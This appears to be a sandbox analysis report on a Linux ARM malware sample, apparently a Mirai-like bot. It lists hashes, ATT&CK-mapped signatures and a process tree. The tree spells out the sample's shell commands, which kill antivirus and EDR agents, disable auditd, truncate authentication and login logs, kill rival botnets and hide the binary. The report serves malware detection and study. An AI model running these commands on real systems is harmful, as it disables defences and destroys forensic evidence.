47277cc7c5e0f0381ac9a6051b0a0647888a34b08f9553e4d31486a4e3578116

Analysis

max time kernel
150s
max time network
152s
platform
debian-12_armhf
resource
debian12-armhf-20260513-en
resource tags

arch:armhfimage:debian12-armhf-20260513-enkernel:6.1.0-17-armmp-lpaelocale:en-usos:debian-12-armhfsystem
submitted
24/09/2026, 10:47

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
qzxuuppn.armv7l.elf
Size 922KB
Sample260924-mvndvsbf92
SHA256 47277cc7c5e0f0381ac9a6051b0a0647888a34b08f9553e4d31486a4e3578116
MD5 d8aa5dfa19b0dff6913fc6a7a41a47e0
SHA1 f5058420851922a3498a63a7778f35cc79eb8bd0
SHA512 2a6eee5b4e990fb2c7a5e657fe93dcda5a48b0369b2f2fe85996e07afdadf1267f1311c2627def327ad0c70973070066ac2b9699d7f213891064fbe04cc2ee57
SSDEEP 24576:mVYP1R7vMU2cwfcR0TAb+Tc6k2hknuQ6J+:fbZQOYc6k2hkOJ+
TLSH
T13B154B55F890DF63C5D4677AF65E82A833234778C3E7720699148B383B97A2F0B3A641
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

antivm defense_evasion discovery

Malware Config

Signatures

Contacts a large (512) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
867	sh
869	chmod

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	qzxuuppn.armv7l.elf
File opened for modification	/dev/misc/watchdog	qzxuuppn.armv7l.elf

Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

Checks DMI information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/sys/class/dmi/id/product_name	qzxuuppn.armv7l.elf
File opened for reading	/sys/class/dmi/id/sys_vendor	qzxuuppn.armv7l.elf
File opened for reading	/sys/class/dmi/id/bios_vendor	qzxuuppn.armv7l.elf
File opened for reading	/sys/class/dmi/id/board_vendor	qzxuuppn.armv7l.elf

Deletes log files 1 TTPs 4 IoCs

Deletes log files on the system.

defense_evasion

Clear Linux or Mac System Logs

T1070.002

description	ioc	Process
File truncated	/var/log/auth*	truncate
File truncated	/var/log/secure	truncate
File truncated	/var/log/wtmp	truncate
File truncated	/var/log/lastlog	truncate

Enumerates running processes
Discovers information about currently running processes on the system

Reads MAC address of network interface 2 TTPs 2 IoCs

Fetches the MAC address of active network interfaces. May be used to detect known values for hypervisors.

defense_evasion discovery

System Network Connections Discovery

T1049

Wi-Fi Discovery

T1016.002

description	ioc	Process
File opened for reading	/sys/class/net/lo/address	qzxuuppn.armv7l.elf
File opened for reading	/sys/class/net/eth0/address	qzxuuppn.armv7l.elf

Changes its process name 1 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	[etnetif]	843	qzxuuppn.armv7l.elf

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	qzxuuppn.armv7l.elf

Reads CPU attributes 1 TTPs 1 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	qzxuuppn.armv7l.elf

Enumerates kernel/hardware configuration 1 TTPs 1 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/class/net	qzxuuppn.armv7l.elf

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/27/status	pkill
File opened for reading	/proc/22/status	pkill
File opened for reading	/proc/10/ctty	pkill
File opened for reading	/proc/30/status	pkill
File opened for reading	/proc/28/ctty	pkill
File opened for reading	/proc/25/cmdline	pkill
File opened for reading	/proc/781/ctty	pkill
File opened for reading	/proc/20/status	pkill
File opened for reading	/proc/36/ctty	pkill
File opened for reading	/proc/1/cmdline	pkill
File opened for reading	/proc/142/cmdline	pkill
File opened for reading	/proc/14/cgroup	pkill
File opened for reading	/proc/20/cgroup	pkill
File opened for reading	/proc/11/status	pkill
File opened for reading	/proc/25/cgroup	pkill
File opened for reading	/proc/8/status	pkill
File opened for reading	/proc/143/ctty	pkill
File opened for reading	/proc/20/status	pkill
File opened for reading	/proc/21/cmdline	pkill
File opened for reading	/proc/9/cgroup	pkill
File opened for reading	/proc/35/cmdline	pkill
File opened for reading	/proc/2/cmdline	pkill
File opened for reading	/proc/1041/cgroup	pkill
File opened for reading	/proc/387/cgroup	pkill
File opened for reading	/proc/46/status	pkill
File opened for reading	/proc/57/status	pkill
File opened for reading	/proc/952/stat	pkill
File opened for reading	/proc/2/status	pkill
File opened for reading	/proc/13/ctty	pkill
File opened for reading	/proc/8/cgroup	pkill
File opened for reading	/proc/33/ctty	pkill
File opened for reading	/proc/362/stat	pkill
File opened for reading	/proc/33/status	pkill
File opened for reading	/proc/198/stat	pkill
File opened for reading	/proc/332/status	pkill
File opened for reading	/proc/1101/status	pkill
File opened for reading	/proc/26/stat	pkill
File opened for reading	/proc/12/ctty	pkill
File opened for reading	/proc/10/status	pkill
File opened for reading	/proc/942/cgroup	pkill
File opened for reading	/proc/387/cmdline	pkill
File opened for reading	/proc/142/status	pkill
File opened for reading	/proc/323/status	pkill
File opened for reading	/proc/876/cmdline	pkill
File opened for reading	/proc/768/cgroup	pkill
File opened for reading	/proc/6/cgroup	pkill
File opened for reading	/proc/257/stat	pkill
File opened for reading	/proc/30/stat	pkill
File opened for reading	/proc/12/cmdline	pkill
File opened for reading	/proc/5/ctty	pkill
File opened for reading	/proc/354/ctty	pkill
File opened for reading	/proc/928/stat	pkill
File opened for reading	/proc/44/stat	pkill
File opened for reading	/proc/1030/stat	pkill
File opened for reading	/proc/73/cgroup	pkill
File opened for reading	/proc/11/status	pkill
File opened for reading	/proc/671/cgroup	pkill
File opened for reading	/proc/29/cgroup	pkill
File opened for reading	/proc/212/ctty	pkill
File opened for reading	/proc/323/cmdline	pkill
File opened for reading	/proc/36/cmdline	pkill
File opened for reading	/proc/641/cgroup	pkill
File opened for reading	/proc/17/stat	pkill
File opened for reading	/proc/387/stat	pkill

System Network Configuration Discovery 1 TTPs 4 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1072	sh
1073	pkill
1115	sh
1116	pkill

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.zl	qzxuuppn.armv7l.elf

/tmp/qzxuuppn.armv7l.elf
/tmp/qzxuuppn.armv7l.elf
1⤵
- Modifies Watchdog functionality
- Checks hardware identifiers (DMI)
- Reads MAC address of network interface
- Changes its process name
- Checks CPU configuration
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Writes file to tmp directory
PID:786
- /bin/sh
  sh -c -- "cp /proc/self/exe /var/.z 2>/dev/null && chmod +x /var/.z 2>/dev/null"
  2⤵
  - File and Directory Permissions Modification
  PID:867
- - /usr/bin/cp
    cp /proc/self/exe /var/.z
    3⤵
    PID:868
- - /usr/bin/chmod
    chmod +x /var/.z
    3⤵
    - File and Directory Permissions Modification
    PID:869
- /bin/sh
  sh -c -- "pkill -9 -x kavsvc 2>/dev/null &"
  2⤵
  PID:871
- /bin/sh
  sh -c -- "pkill -9 -x kavf4 2>/dev/null &"
  2⤵
  PID:873
- /bin/sh
  sh -c -- "pkill -9 -x kavguard 2>/dev/null &"
  2⤵
  PID:875
- /bin/sh
  sh -c -- "pkill -9 -x avp 2>/dev/null &"
  2⤵
  PID:877
- /bin/sh
  sh -c -- "pkill -9 -x avp5 2>/dev/null &"
  2⤵
  PID:879
- /bin/sh
  sh -c -- "pkill -9 -x avp6 2>/dev/null &"
  2⤵
  PID:881
- /bin/sh
  sh -c -- "pkill -9 -x msvsc 2>/dev/null &"
  2⤵
  PID:883
- /bin/sh
  sh -c -- "pkill -9 -x msasc 2>/dev/null &"
  2⤵
  PID:885
- /bin/sh
  sh -c -- "pkill -9 -x msmpeng 2>/dev/null &"
  2⤵
  PID:887
- /bin/sh
  sh -c -- "pkill -9 -x msseces 2>/dev/null &"
  2⤵
  PID:889
- /bin/sh
  sh -c -- "pkill -9 -x msseces.exe 2>/dev/null &"
  2⤵
  PID:891
- /bin/sh
  sh -c -- "pkill -9 -x avast 2>/dev/null &"
  2⤵
  PID:893
- /bin/sh
  sh -c -- "pkill -9 -x avast5 2>/dev/null &"
  2⤵
  PID:895
- /bin/sh
  sh -c -- "pkill -9 -x avast6 2>/dev/null &"
  2⤵
  PID:897
- /bin/sh
  sh -c -- "pkill -9 -x avastsvc 2>/dev/null &"
  2⤵
  PID:899
- /bin/sh
  sh -c -- "pkill -9 -x ash 2>/dev/null &"
  2⤵
  PID:901
- /bin/sh
  sh -c -- "pkill -9 -x ashmaisv 2>/dev/null &"
  2⤵
  PID:903
- /bin/sh
  sh -c -- "pkill -9 -x avgnt 2>/dev/null &"
  2⤵
  PID:905
- /bin/sh
  sh -c -- "pkill -9 -x avgnt.exe 2>/dev/null &"
  2⤵
  PID:907
- /bin/sh
  sh -c -- "pkill -9 -x avgnt2 2>/dev/null &"
  2⤵
  PID:909
- /bin/sh
  sh -c -- "pkill -9 -x avgnt3 2>/dev/null &"
  2⤵
  PID:911
- /bin/sh
  sh -c -- "pkill -9 -x clamd 2>/dev/null &"
  2⤵
  PID:913
- /bin/sh
  sh -c -- "pkill -9 -x clamdscan 2>/dev/null &"
  2⤵
  PID:915
- /bin/sh
  sh -c -- "pkill -9 -x clamonacc 2>/dev/null &"
  2⤵
  PID:917
- /bin/sh
  sh -c -- "pkill -9 -x f-prot 2>/dev/null &"
  2⤵
  PID:919
- /bin/sh
  sh -c -- "pkill -9 -x f-prot64 2>/dev/null &"
  2⤵
  PID:921
- /bin/sh
  sh -c -- "pkill -9 -x f-sport 2>/dev/null &"
  2⤵
  PID:923
- /bin/sh
  sh -c -- "pkill -9 -x f-sport64 2>/dev/null &"
  2⤵
  PID:925
- /bin/sh
  sh -c -- "pkill -9 -x smon 2>/dev/null &"
  2⤵
  PID:927
- /bin/sh
  sh -c -- "pkill -9 -x smon2 2>/dev/null &"
  2⤵
  PID:929
- /bin/sh
  sh -c -- "pkill -9 -x smon3 2>/dev/null &"
  2⤵
  PID:931
- /bin/sh
  sh -c -- "pkill -9 -x mcs 2>/dev/null &"
  2⤵
  PID:933
- /bin/sh
  sh -c -- "pkill -9 -x mcs2 2>/dev/null &"
  2⤵
  PID:935
- /bin/sh
  sh -c -- "pkill -9 -x mcs3 2>/dev/null &"
  2⤵
  PID:937
- /bin/sh
  sh -c -- "pkill -9 -x navpsv32 2>/dev/null &"
  2⤵
  PID:939
- /bin/sh
  sh -c -- "pkill -9 -x navpsv64 2>/dev/null &"
  2⤵
  PID:941
- /bin/sh
  sh -c -- "pkill -9 -x navw32 2>/dev/null &"
  2⤵
  PID:943
- /bin/sh
  sh -c -- "pkill -9 -x navw64 2>/dev/null &"
  2⤵
  PID:945
- /bin/sh
  sh -c -- "pkill -9 -x avp.exe 2>/dev/null &"
  2⤵
  PID:947
- /bin/sh
  sh -c -- "pkill -9 -x avpsvc.exe 2>/dev/null &"
  2⤵
  PID:949
- /bin/sh
  sh -c -- "pkill -9 -x avpcc.exe 2>/dev/null &"
  2⤵
  PID:951
- /bin/sh
  sh -c -- "pkill -9 -x avpm.exe 2>/dev/null &"
  2⤵
  PID:953
- /bin/sh
  sh -c -- "pkill -9 -x avp9.exe 2>/dev/null &"
  2⤵
  PID:955
- /bin/sh
  sh -c -- "pkill -9 -x avp10.exe 2>/dev/null &"
  2⤵
  PID:957
- /bin/sh
  sh -c -- "pkill -9 -x avp11.exe 2>/dev/null &"
  2⤵
  PID:959
- /bin/sh
  sh -c -- "pkill -9 -x avp12.exe 2>/dev/null &"
  2⤵
  PID:961
- - /usr/bin/pkill
    pkill -9 -x avp12.exe
    3⤵
    PID:962
- /bin/sh
  sh -c -- "pkill -9 -x avp13.exe 2>/dev/null &"
  2⤵
  PID:963
- /bin/sh
  sh -c -- "pkill -9 -x avp14.exe 2>/dev/null &"
  2⤵
  PID:965
- /bin/sh
  sh -c -- "pkill -9 -x avp15.exe 2>/dev/null &"
  2⤵
  PID:967
- /bin/sh
  sh -c -- "pkill -9 -x avp16.exe 2>/dev/null &"
  2⤵
  PID:969
- /bin/sh
  sh -c -- "pkill -9 -x avp17.exe 2>/dev/null &"
  2⤵
  PID:971
- /bin/sh
  sh -c -- "pkill -9 -x avp18.exe 2>/dev/null &"
  2⤵
  PID:973
- /bin/sh
  sh -c -- "pkill -9 -x avp19.exe 2>/dev/null &"
  2⤵
  PID:975
- /bin/sh
  sh -c -- "pkill -9 -x avp20.exe 2>/dev/null &"
  2⤵
  PID:977
- /bin/sh
  sh -c -- "pkill -9 -x avp21.exe 2>/dev/null &"
  2⤵
  PID:979
- /bin/sh
  sh -c -- "pkill -9 -x avp22.exe 2>/dev/null &"
  2⤵
  PID:981
- /bin/sh
  sh -c -- "pkill -9 -x avp23.exe 2>/dev/null &"
  2⤵
  PID:983
- /bin/sh
  sh -c -- "pkill -9 -x avp24.exe 2>/dev/null &"
  2⤵
  PID:985
- /bin/sh
  sh -c -- "pkill -9 -x avp25.exe 2>/dev/null &"
  2⤵
  PID:987
- /bin/sh
  sh -c -- "pkill -9 -x avp26.exe 2>/dev/null &"
  2⤵
  PID:989
- /bin/sh
  sh -c -- "pkill -9 -x avp27.exe 2>/dev/null &"
  2⤵
  PID:991
- /bin/sh
  sh -c -- "pkill -9 -x avp28.exe 2>/dev/null &"
  2⤵
  PID:993
- /bin/sh
  sh -c -- "pkill -9 -x avp29.exe 2>/dev/null &"
  2⤵
  PID:995
- /bin/sh
  sh -c -- "pkill -9 -x avp30.exe 2>/dev/null &"
  2⤵
  PID:997
- /bin/sh
  sh -c -- "pkill -9 -x avp31.exe 2>/dev/null &"
  2⤵
  PID:999
- /bin/sh
  sh -c -- "pkill -9 -x avp32.exe 2>/dev/null &"
  2⤵
  PID:1001
- /bin/sh
  sh -c -- "pkill -9 -x avp33.exe 2>/dev/null &"
  2⤵
  PID:1003
- /bin/sh
  sh -c -- "pkill -9 -x avp34.exe 2>/dev/null &"
  2⤵
  PID:1005
- /bin/sh
  sh -c -- "pkill -9 -x avp35.exe 2>/dev/null &"
  2⤵
  PID:1007
- /bin/sh
  sh -c -- "pkill -9 -x avp36.exe 2>/dev/null &"
  2⤵
  PID:1009
- /bin/sh
  sh -c -- "pkill -9 -x avp37.exe 2>/dev/null &"
  2⤵
  PID:1011
- /bin/sh
  sh -c -- "pkill -9 -x avp38.exe 2>/dev/null &"
  2⤵
  PID:1013
- /bin/sh
  sh -c -- "pkill -9 -x avp39.exe 2>/dev/null &"
  2⤵
  PID:1015
- /bin/sh
  sh -c -- "pkill -9 -x avp40.exe 2>/dev/null &"
  2⤵
  PID:1017
- /bin/sh
  sh -c -- "pkill -9 -x avp41.exe 2>/dev/null &"
  2⤵
  PID:1019
- /bin/sh
  sh -c -- "pkill -9 -x avp42.exe 2>/dev/null &"
  2⤵
  PID:1021
- /bin/sh
  sh -c -- "pkill -9 -x avp43.exe 2>/dev/null &"
  2⤵
  PID:1023
- /bin/sh
  sh -c -- "pkill -9 -x avp44.exe 2>/dev/null &"
  2⤵
  PID:1025
- /bin/sh
  sh -c -- "pkill -9 -x avp45.exe 2>/dev/null &"
  2⤵
  PID:1027
- /bin/sh
  sh -c -- "pkill -9 -x avp46.exe 2>/dev/null &"
  2⤵
  PID:1029
- /bin/sh
  sh -c -- "pkill -9 -x avp47.exe 2>/dev/null &"
  2⤵
  PID:1031
- /bin/sh
  sh -c -- "pkill -9 -x avp48.exe 2>/dev/null &"
  2⤵
  PID:1033
- /bin/sh
  sh -c -- "pkill -9 -x avp49.exe 2>/dev/null &"
  2⤵
  PID:1035
- /bin/sh
  sh -c -- "pkill -9 -x avp50.exe 2>/dev/null &"
  2⤵
  PID:1037
- /bin/sh
  sh -c -- "pkill -9 -f [f]alcond 2>/dev/null &"
  2⤵
  PID:1040
- /bin/sh
  sh -c -- "pkill -9 -f [f]alcon 2>/dev/null &"
  2⤵
  PID:1042
- /bin/sh
  sh -c -- "pkill -9 -f [c]sagent 2>/dev/null &"
  2⤵
  PID:1044
- /bin/sh
  sh -c -- "pkill -9 -f [c]rowdstrike 2>/dev/null &"
  2⤵
  PID:1046
- /bin/sh
  sh -c -- "pkill -9 -f [s]entinelagent 2>/dev/null &"
  2⤵
  PID:1048
- /bin/sh
  sh -c -- "pkill -9 -f [s]entinelhelper 2>/dev/null &"
  2⤵
  PID:1050
- /bin/sh
  sh -c -- "pkill -9 -f [s]1-agent 2>/dev/null &"
  2⤵
  PID:1052
- /bin/sh
  sh -c -- "pkill -9 -f [s]1-service 2>/dev/null &"
  2⤵
  PID:1054
- /bin/sh
  sh -c -- "pkill -9 -f [x]agt 2>/dev/null &"
  2⤵
  PID:1056
- /bin/sh
  sh -c -- "pkill -9 -f [c]bdefense 2>/dev/null &"
  2⤵
  PID:1058
- /bin/sh
  sh -c -- "pkill -9 -f [c]bagent 2>/dev/null &"
  2⤵
  PID:1060
- /bin/sh
  sh -c -- "pkill -9 -f [c]arbonblack 2>/dev/null &"
  2⤵
  PID:1062
- /bin/sh
  sh -c -- "pkill -9 -f [r]epwel 2>/dev/null &"
  2⤵
  PID:1064
- /bin/sh
  sh -c -- "pkill -9 -f [c]ylance 2>/dev/null &"
  2⤵
  PID:1066
- /bin/sh
  sh -c -- "pkill -9 -f [s]vcdiva 2>/dev/null &"
  2⤵
  PID:1068
- /bin/sh
  sh -c -- "pkill -9 -f [m]datp 2>/dev/null &"
  2⤵
  PID:1070
- /bin/sh
  sh -c -- "pkill -9 -f [m]dallaips 2>/dev/null &"
  2⤵
  - System Network Configuration Discovery
  PID:1072
- /bin/sh
  sh -c -- "pkill -9 -f [s]ensedata 2>/dev/null &"
  2⤵
  PID:1074
- /bin/sh
  sh -c -- "pkill -9 -f [s]ophos 2>/dev/null &"
  2⤵
  PID:1076
- /bin/sh
  sh -c -- "pkill -9 -f [s]avscanner 2>/dev/null &"
  2⤵
  PID:1078
- /bin/sh
  sh -c -- "pkill -9 -f [r]tvscan 2>/dev/null &"
  2⤵
  PID:1080
- /bin/sh
  sh -c -- "pkill -9 -f [s]ymantec 2>/dev/null &"
  2⤵
  PID:1082
- /bin/sh
  sh -c -- "pkill -9 -f [S]ymAux 2>/dev/null &"
  2⤵
  PID:1084
- /bin/sh
  sh -c -- "pkill -9 -f [t]rendmicro 2>/dev/null &"
  2⤵
  PID:1086
- /bin/sh
  sh -c -- "pkill -9 -f [d]s_agent 2>/dev/null &"
  2⤵
  PID:1088
- /bin/sh
  sh -c -- "pkill -9 -f [e]dragent 2>/dev/null &"
  2⤵
  PID:1090
- /bin/sh
  sh -c -- "pkill -9 -f [o]squeryd 2>/dev/null &"
  2⤵
  PID:1092
- /bin/sh
  sh -c -- "pkill -9 -f [s]ysmon 2>/dev/null &"
  2⤵
  PID:1094
- /bin/sh
  sh -c -- "pkill -9 -f [c]lamd 2>/dev/null &"
  2⤵
  PID:1096
- /bin/sh
  sh -c -- "pkill -9 -f [k]lscan 2>/dev/null &"
  2⤵
  PID:1098
- /bin/sh
  sh -c -- "pkill -9 -f [k]avfs 2>/dev/null &"
  2⤵
  PID:1100
- /bin/sh
  sh -c -- "auditctl -e 0 2>/dev/null &pkill -9 [a]uditd 2>/dev/null &pkill -9 -f [s]noop 2>/dev/null &pkill -9 -f [a]ccton 2>/dev/null &"
  2⤵
  PID:1102
- - /usr/sbin/auditctl
    auditctl -e 0
    3⤵
    PID:1103
- /bin/sh
  sh -c -- "truncate -s 0 /var/log/auth* /var/log/secure /var/log/wtmp /var/log/lastlog 2>/dev/null &"
  2⤵
  PID:1107
- /bin/sh
  sh -c -- "pkill -9 -x mirai 2>/dev/null &"
  2⤵
  PID:1111
- /bin/sh
  sh -c -- "pkill -9 -x mirai.arm 2>/dev/null &"
  2⤵
  PID:1113
- /bin/sh
  sh -c -- "pkill -9 -x mirai.mips 2>/dev/null &"
  2⤵
  - System Network Configuration Discovery
  PID:1115
- /bin/sh
  sh -c -- "pkill -9 -x mirai.mpsel 2>/dev/null &"
  2⤵
  PID:1117
- /bin/sh
  sh -c -- "pkill -9 -x gafgyt 2>/dev/null &"
  2⤵
  PID:1119
- /bin/sh
  sh -c -- "pkill -9 -x bashlite 2>/dev/null &"
  2⤵
  PID:1121
- /bin/sh
  sh -c -- "pkill -9 -x tsunami 2>/dev/null &"
  2⤵
  PID:1123
- /bin/sh
  sh -c -- "pkill -9 -x hakai 2>/dev/null &"
  2⤵
  PID:1125
- /bin/sh
  sh -c -- "pkill -9 -x sora 2>/dev/null &"
  2⤵
  PID:1127
- /bin/sh
  sh -c -- "pkill -9 -x qbot 2>/dev/null &"
  2⤵
  PID:1129
- /bin/sh
  sh -c -- "pkill -9 -x astaroth 2>/dev/null &"
  2⤵
  PID:1131
- /bin/sh
  sh -c -- "pkill -9 -x ozyman 2>/dev/null &"
  2⤵
  PID:1133
- /bin/sh
  sh -c -- "pkill -9 -x nihappy 2>/dev/null &"
  2⤵
  PID:1135
- /bin/sh
  sh -c -- "unlink /proc/self/exe 2>/dev/null; for fd in /proc/self/fd/*; do unlink \$fd 2>/dev/null; done &"
  2⤵
  PID:1137
- - /usr/bin/unlink
    unlink /proc/self/exe
    3⤵
    PID:1139
- - /usr/bin/unlink
    unlink /proc/self/fd/0
    3⤵
    PID:1141
- - /usr/bin/unlink
    unlink /proc/self/fd/1
    3⤵
    PID:1142
- - /usr/bin/unlink
    unlink /proc/self/fd/10
    3⤵
    PID:1144
- - /usr/bin/unlink
    unlink /proc/self/fd/11
    3⤵
    PID:1147
- - /usr/bin/unlink
    unlink /proc/self/fd/12
    3⤵
    PID:1151
- - /usr/bin/unlink
    unlink /proc/self/fd/13
    3⤵
    PID:1152
- /bin/sh
  sh -c -- "/usr/bin/mailq -c 'exec /tmp/.z &' 2>/dev/null"
  2⤵
  PID:1143
- - /usr/bin/mailq
    /usr/bin/mailq -c "exec /tmp/.z &"
    3⤵
    PID:1145

/usr/bin/pkill
pkill -9 -x kavsvc
1⤵
PID:872

/usr/bin/pkill
pkill -9 -x kavf4
1⤵
PID:874

/usr/bin/pkill
pkill -9 -x kavguard
1⤵
- Reads runtime system information
PID:876

/usr/bin/pkill
pkill -9 -x avp
1⤵
- Reads runtime system information
PID:878

/usr/bin/pkill
pkill -9 -x avp5
1⤵
PID:880

/usr/bin/pkill
pkill -9 -x avp6
1⤵
PID:882

/usr/bin/pkill
pkill -9 -x msvsc
1⤵
PID:884

/usr/bin/pkill
pkill -9 -x msasc
1⤵
- Reads runtime system information
PID:886

/usr/bin/pkill
pkill -9 -x msmpeng
1⤵
PID:888

/usr/bin/pkill
pkill -9 -x msseces
1⤵
PID:890

/usr/bin/pkill
pkill -9 -x msseces.exe
1⤵
PID:892

/usr/bin/pkill
pkill -9 -x avast
1⤵
- Reads runtime system information
PID:894

/usr/bin/pkill
pkill -9 -x avast5
1⤵
PID:896

/usr/bin/pkill
pkill -9 -x avast6
1⤵
- Reads runtime system information
PID:898

/usr/bin/pkill
pkill -9 -x avastsvc
1⤵
- Reads runtime system information
PID:900

/usr/bin/pkill
pkill -9 -x ash
1⤵
- Reads runtime system information
PID:902

/usr/bin/pkill
pkill -9 -x ashmaisv
1⤵
- Reads runtime system information
PID:904

/usr/bin/pkill
pkill -9 -x avgnt
1⤵
PID:906

/usr/bin/pkill
pkill -9 -x avgnt.exe
1⤵
PID:908

/usr/bin/pkill
pkill -9 -x avgnt2
1⤵
- Reads runtime system information
PID:910

/usr/bin/pkill
pkill -9 -x avgnt3
1⤵
PID:912

/usr/bin/pkill
pkill -9 -x clamd
1⤵
- Reads runtime system information
PID:914

/usr/bin/pkill
pkill -9 -x clamdscan
1⤵
PID:916

/usr/bin/pkill
pkill -9 -x clamonacc
1⤵
PID:918

/usr/bin/pkill
pkill -9 -x f-prot
1⤵
PID:920

/usr/bin/pkill
pkill -9 -x f-prot64
1⤵
- Reads runtime system information
PID:922

/usr/bin/pkill
pkill -9 -x f-sport
1⤵
PID:924

/usr/bin/pkill
pkill -9 -x f-sport64
1⤵
PID:926

/usr/bin/pkill
pkill -9 -x smon
1⤵
PID:928

/usr/bin/pkill
pkill -9 -x smon2
1⤵
PID:930

/usr/bin/pkill
pkill -9 -x smon3
1⤵
- Reads runtime system information
PID:932

/usr/bin/pkill
pkill -9 -x mcs
1⤵
- Reads runtime system information
PID:934

/usr/bin/pkill
pkill -9 -x mcs2
1⤵
PID:936

/usr/bin/pkill
pkill -9 -x mcs3
1⤵
- Reads runtime system information
PID:938

/usr/bin/pkill
pkill -9 -x navpsv32
1⤵
- Reads runtime system information
PID:940

/usr/bin/pkill
pkill -9 -x navpsv64
1⤵
PID:942

/usr/bin/pkill
pkill -9 -x navw32
1⤵
PID:944

/usr/bin/pkill
pkill -9 -x navw64
1⤵
PID:946

/usr/bin/pkill
pkill -9 -x avp.exe
1⤵
- Reads runtime system information
PID:948

/usr/bin/pkill
pkill -9 -x avpsvc.exe
1⤵
PID:950

/usr/bin/pkill
pkill -9 -x avpcc.exe
1⤵
- Reads runtime system information
PID:952

/usr/bin/pkill
pkill -9 -x avpm.exe
1⤵
- Reads runtime system information
PID:954

/usr/bin/pkill
pkill -9 -x avp9.exe
1⤵
- Reads runtime system information
PID:956

/usr/bin/pkill
pkill -9 -x avp10.exe
1⤵
PID:958

/usr/bin/pkill
pkill -9 -x avp11.exe
1⤵
PID:960

/usr/bin/pkill
pkill -9 -x avp13.exe
1⤵
- Reads runtime system information
PID:964

/usr/bin/pkill
pkill -9 -x avp14.exe
1⤵
PID:966

/usr/bin/pkill
pkill -9 -x avp15.exe
1⤵
PID:968

/usr/bin/pkill
pkill -9 -x avp16.exe
1⤵
PID:970

/usr/bin/pkill
pkill -9 -x avp17.exe
1⤵
- Reads runtime system information
PID:972

/usr/bin/pkill
pkill -9 -x avp18.exe
1⤵
- Reads runtime system information
PID:974

/usr/bin/pkill
pkill -9 -x avp19.exe
1⤵
PID:976

/usr/bin/pkill
pkill -9 -x avp20.exe
1⤵
PID:978

/usr/bin/pkill
pkill -9 -x avp21.exe
1⤵
- Reads runtime system information
PID:980

/usr/bin/pkill
pkill -9 -x avp22.exe
1⤵
PID:982

/usr/bin/pkill
pkill -9 -x avp23.exe
1⤵
- Reads runtime system information
PID:984

/usr/bin/pkill
pkill -9 -x avp24.exe
1⤵
- Reads runtime system information
PID:986

/usr/bin/pkill
pkill -9 -x avp25.exe
1⤵
- Reads runtime system information
PID:988

/usr/bin/pkill
pkill -9 -x avp26.exe
1⤵
PID:990

/usr/bin/pkill
pkill -9 -x avp27.exe
1⤵
PID:992

/usr/bin/pkill
pkill -9 -x avp28.exe
1⤵
PID:994

/usr/bin/pkill
pkill -9 -x avp29.exe
1⤵
PID:996

/usr/bin/pkill
pkill -9 -x avp30.exe
1⤵
PID:998

/usr/bin/pkill
pkill -9 -x avp31.exe
1⤵
PID:1000

/usr/bin/pkill
pkill -9 -x avp32.exe
1⤵
- Reads runtime system information
PID:1002

/usr/bin/pkill
pkill -9 -x avp33.exe
1⤵
PID:1004

/usr/bin/pkill
pkill -9 -x avp34.exe
1⤵
PID:1006

/usr/bin/pkill
pkill -9 -x avp35.exe
1⤵
- Reads runtime system information
PID:1008

/usr/bin/pkill
pkill -9 -x avp36.exe
1⤵
PID:1010

/usr/bin/pkill
pkill -9 -x avp37.exe
1⤵
- Reads runtime system information
PID:1012

/usr/bin/pkill
pkill -9 -x avp38.exe
1⤵
PID:1014

/usr/bin/pkill
pkill -9 -x avp39.exe
1⤵
PID:1016

/usr/bin/pkill
pkill -9 -x avp40.exe
1⤵
PID:1018

/usr/bin/pkill
pkill -9 -x avp41.exe
1⤵
- Reads runtime system information
PID:1020

/usr/bin/pkill
pkill -9 -x avp42.exe
1⤵
PID:1022

/usr/bin/pkill
pkill -9 -x avp43.exe
1⤵
PID:1024

/usr/bin/pkill
pkill -9 -x avp44.exe
1⤵
PID:1026

/usr/bin/pkill
pkill -9 -x avp45.exe
1⤵
- Reads runtime system information
PID:1028

/usr/bin/pkill
pkill -9 -x avp46.exe
1⤵
- Reads runtime system information
PID:1030

/usr/bin/pkill
pkill -9 -x avp47.exe
1⤵
PID:1032

/usr/bin/pkill
pkill -9 -x avp48.exe
1⤵
- Reads runtime system information
PID:1034

/usr/bin/pkill
pkill -9 -x avp49.exe
1⤵
PID:1036

/usr/bin/pkill
pkill -9 -x avp50.exe
1⤵
PID:1038

/usr/bin/pkill
pkill -9 -f "[f]alcond"
1⤵
- Reads runtime system information
PID:1041

/usr/bin/pkill
pkill -9 -f "[f]alcon"
1⤵
PID:1043

/usr/bin/pkill
pkill -9 -f "[c]sagent"
1⤵
PID:1045

/usr/bin/pkill
pkill -9 -f "[c]rowdstrike"
1⤵
- Reads runtime system information
PID:1047

/usr/bin/pkill
pkill -9 -f "[s]entinelagent"
1⤵
- Reads runtime system information
PID:1049

/usr/bin/pkill
pkill -9 -f "[s]entinelhelper"
1⤵
- Reads runtime system information
PID:1051

/usr/bin/pkill
pkill -9 -f "[s]1-agent"
1⤵
- Reads runtime system information
PID:1053

/usr/bin/pkill
pkill -9 -f "[s]1-service"
1⤵
- Reads runtime system information
PID:1055

/usr/bin/pkill
